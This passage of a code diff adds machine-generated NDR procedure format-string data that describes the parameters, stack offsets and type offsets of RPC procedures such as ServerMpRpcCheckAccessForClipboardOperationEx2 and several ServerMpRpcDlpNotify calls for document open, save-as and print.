*/ + +/* 10160 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 10162 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10164 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_5 */ + +/* 10166 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 10168 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 10170 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_6 */ + +/* 10172 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 10174 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 10176 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_7 */ + +/* 10178 */ NdrFcShort( 0x1a ), /* Flags: must free, in, out, */ +/* 10180 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 10182 */ NdrFcShort( 0xd52 ), /* Type Offset=3410 */ + + /* Parameter arg_8 */ + +/* 10184 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10186 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 10188 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_9 */ + +/* 10190 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10192 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */ +/* 10194 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10196 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10198 */ NdrFcShort( 0x50 ), /* X64 Stack size/offset = 80 */ +/* 10200 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc179_ServerMpRpcCheckAccessForClipboardOperationEx2 */ + +/* 10202 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10204 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10208 */ NdrFcShort( 0xb3 ), /* 179 */ +/* 10210 */ NdrFcShort( 0x58 ), /* X64 Stack size/offset = 88 */ +/* 10212 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10214 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10216 */ NdrFcShort( 0x20 ), /* 32 */ +/* 10218 */ NdrFcShort( 0x78 ), /* 120 */ +/* 10220 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0xa, /* 10 */ +/* 10222 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 10224 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10226 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10228 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10230 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10232 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 10234 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10236 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 10238 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 10240 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10242 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 10244 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 10246 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10248 */ NdrFcShort( 0xd56 ), /* Type Offset=3414 */ + + /* Parameter arg_4 */ + +/* 10250 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 10252 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10254 */ NdrFcShort( 0xd56 ), /* Type Offset=3414 */ + + /* Parameter arg_5 */ + +/* 10256 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 10258 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 10260 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_6 */ + +/* 10262 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10264 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 10266 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_7 */ + +/* 10268 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10270 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 10272 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_8 */ + +/* 10274 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10276 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 10278 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_9 */ + +/* 10280 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10282 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */ +/* 10284 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10286 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10288 */ NdrFcShort( 0x50 ), /* X64 Stack size/offset = 80 */ +/* 10290 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc180_ServerMpRpcCheckAccessForDragDropOperation2 */ + +/* 10292 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10294 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10298 */ NdrFcShort( 0xb4 ), /* 180 */ +/* 10300 */ NdrFcShort( 0x68 ), /* X64 Stack size/offset = 104 */ +/* 10302 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10304 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10306 */ NdrFcShort( 0x40 ), /* 64 */ +/* 10308 */ NdrFcShort( 0x40 ), /* 64 */ +/* 10310 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0xc, /* 12 */ +/* 10312 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 10314 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10316 */ NdrFcShort( 0x1 ), /* 1 */ +/* 10318 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10320 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10322 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 10324 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10326 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 10328 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 10330 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10332 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 10334 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 10336 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10338 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 10340 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 10342 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10344 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_5 */ + +/* 10346 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 10348 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 10350 */ 0xb, /* FC_HYPER */ + 0x0, /* 0 */ + + /* Parameter arg_6 */ + +/* 10352 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 10354 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 10356 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_7 */ + +/* 10358 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 10360 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 10362 */ NdrFcShort( 0xc7e ), /* Type Offset=3198 */ + + /* Parameter arg_8 */ + +/* 10364 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 10366 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */ +/* 10368 */ NdrFcShort( 0xd56 ), /* Type Offset=3414 */ + + /* Parameter arg_9 */ + +/* 10370 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 10372 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */ +/* 10374 */ NdrFcShort( 0xd56 ), /* Type Offset=3414 */ + + /* Parameter arg_10 */ + +/* 10376 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10378 */ NdrFcShort( 0x50 ), /* X64 Stack size/offset = 80 */ +/* 10380 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_11 */ + +/* 10382 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10384 */ NdrFcShort( 0x58 ), /* X64 Stack size/offset = 88 */ +/* 10386 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10388 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10390 */ NdrFcShort( 0x60 ), /* X64 Stack size/offset = 96 */ +/* 10392 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc181_ServerMpRpcDlpInitializeEnforcementMode */ + +/* 10394 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10396 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10400 */ NdrFcShort( 0xb5 ), /* 181 */ +/* 10402 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 10404 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10406 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10408 */ NdrFcShort( 0x8 ), /* 8 */ +/* 10410 */ NdrFcShort( 0x24 ), /* 36 */ +/* 10412 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 10414 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 10416 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10418 */ NdrFcShort( 0x1 ), /* 1 */ +/* 10420 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10422 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10424 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 10426 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10428 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 10430 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 10432 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10434 */ NdrFcShort( 0xd70 ), /* Type Offset=3440 */ + + /* Parameter arg_3 */ + +/* 10436 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10438 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10440 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10442 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10444 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10446 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc182_ServerMpRpcDlpGetOperationEnforcmentMode */ + +/* 10448 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10450 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10454 */ NdrFcShort( 0xb6 ), /* 182 */ +/* 10456 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 10458 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10460 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10462 */ NdrFcShort( 0x8 ), /* 8 */ +/* 10464 */ NdrFcShort( 0x40 ), /* 64 */ +/* 10466 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 10468 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 10470 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10472 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10474 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10476 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10478 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 10480 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10482 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 10484 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10486 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10488 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 10490 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10492 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10494 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10496 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10498 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10500 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc183_ServerMpRpcDlpNotifyPreOpenDocumentFile */ + +/* 10502 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10504 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10508 */ NdrFcShort( 0xb7 ), /* 183 */ +/* 10510 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10512 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10514 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10516 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10518 */ NdrFcShort( 0x24 ), /* 36 */ +/* 10520 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x3, /* 3 */ +/* 10522 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 10524 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10526 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10528 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10530 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10532 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 10534 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10536 */ NdrFcShort( 0xd5a ), /* Type Offset=3418 */ + + /* Parameter arg_2 */ + +/* 10538 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10540 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10542 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10544 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10546 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10548 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc184_ServerMpRpcDlpNotifyPostOpenDocumentFile */ + +/* 10550 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10552 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10556 */ NdrFcShort( 0xb8 ), /* 184 */ +/* 10558 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 10560 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10562 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10564 */ NdrFcShort( 0x2c ), /* 44 */ +/* 10566 */ NdrFcShort( 0x24 ), /* 36 */ +/* 10568 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 10570 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 10572 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10574 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10576 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10578 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10580 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 10582 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10584 */ NdrFcShort( 0xd5a ), /* Type Offset=3418 */ + + /* Parameter arg_2 */ + +/* 10586 */ NdrFcShort( 0xa ), /* Flags: must free, in, */ +/* 10588 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10590 */ NdrFcShort( 0x304 ), /* Type Offset=772 */ + + /* Parameter arg_3 */ + +/* 10592 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10594 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10596 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10598 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10600 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10602 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc185_ServerMpRpcDlpNotifyCloseDocumentFile */ + +/* 10604 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10606 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10610 */ NdrFcShort( 0xb9 ), /* 185 */ +/* 10612 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10614 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10616 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10618 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10620 */ NdrFcShort( 0x24 ), /* 36 */ +/* 10622 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x3, /* 3 */ +/* 10624 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 10626 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10628 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10630 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10632 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10634 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 10636 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10638 */ NdrFcShort( 0xd56 ), /* Type Offset=3414 */ + + /* Parameter arg_2 */ + +/* 10640 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10642 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10644 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10646 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10648 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10650 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc186_ServerMpRpcDlpNotifyPreSaveAsDocument */ + +/* 10652 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10654 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10658 */ NdrFcShort( 0xba ), /* 186 */ +/* 10660 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 10662 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10664 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10666 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10668 */ NdrFcShort( 0x24 ), /* 36 */ +/* 10670 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 10672 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 10674 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10676 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10678 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10680 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10682 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 10684 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10686 */ NdrFcShort( 0xd5a ), /* Type Offset=3418 */ + + /* Parameter arg_2 */ + +/* 10688 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 10690 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10692 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_3 */ + +/* 10694 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10696 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10698 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10700 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10702 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10704 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc187_ServerMpRpcDlpNotifyPostSaveAsDocument */ + +/* 10706 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10708 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10712 */ NdrFcShort( 0xbb ), /* 187 */ +/* 10714 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 10716 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10718 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10720 */ NdrFcShort( 0x2c ), /* 44 */ +/* 10722 */ NdrFcShort( 0x24 ), /* 36 */ +/* 10724 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 10726 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 10728 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10730 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10732 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10734 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10736 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 10738 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10740 */ NdrFcShort( 0xd5a ), /* Type Offset=3418 */ + + /* Parameter arg_2 */ + +/* 10742 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 10744 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10746 */ NdrFcShort( 0xb9a ), /* Type Offset=2970 */ + + /* Parameter arg_3 */ + +/* 10748 */ NdrFcShort( 0xa ), /* Flags: must free, in, */ +/* 10750 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10752 */ NdrFcShort( 0x304 ), /* Type Offset=772 */ + + /* Parameter arg_4 */ + +/* 10754 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10756 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10758 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10760 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10762 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 10764 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc188_ServerMpRpcDlpNotifyPrePrint */ + +/* 10766 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10768 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10772 */ NdrFcShort( 0xbc ), /* 188 */ +/* 10774 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 10776 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10778 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10780 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10782 */ NdrFcShort( 0x24 ), /* 36 */ +/* 10784 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 10786 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 10788 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10790 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10792 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10794 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10796 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 10798 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10800 */ NdrFcShort( 0xd5a ), /* Type Offset=3418 */ + + /* Parameter arg_2 */ + +/* 10802 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 10804 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10806 */ NdrFcShort( 0xd8e ), /* Type Offset=3470 */ + + /* Parameter arg_3 */ + +/* 10808 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10810 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10812 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10814 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10816 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10818 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc189_ServerMpRpcDlpNotifyPostStartPrint */ + +/* 10820 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 10822 */ NdrFcLong( 0x0 ), /* 0 */ +/* 10826 */ NdrFcShort( 0xbd ), /* 189 */ +/* 10828 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 10830 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 10832 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 10834 */ NdrFcShort( 0x2c ), /* 44 */ +/* 10836 */ NdrFcShort( 0x24 ), /* 36 */ +/* 10838 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 10840 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 10842 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10844 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10846 */ NdrFcShort( 0x0 ), /* 0 */ +/* 10848 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 10850 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 10852 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 10854 */ NdrFcShort( 0xd56 ), /* Type Offset=3414 */ + + /* Parameter arg_2 */ + +/* 10856 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 10858 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 10860 */ NdrFcShort( 0xd8e ), /* Type Offset=3470 */ + + /* Parameter arg_3 */ + +/* 10862 */ NdrFcShort( 0xa ), /* Flags: must free, in, */ +/* 10864 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 10866 */ NdrFcShort( 0x304 ), /* Type Offset=772 */ + + /* Parameter arg_4 */ + +/* 10868 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 10870 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 10872 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 10874 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 10876 */ NdrFcShort( 0x28 ), /* X64 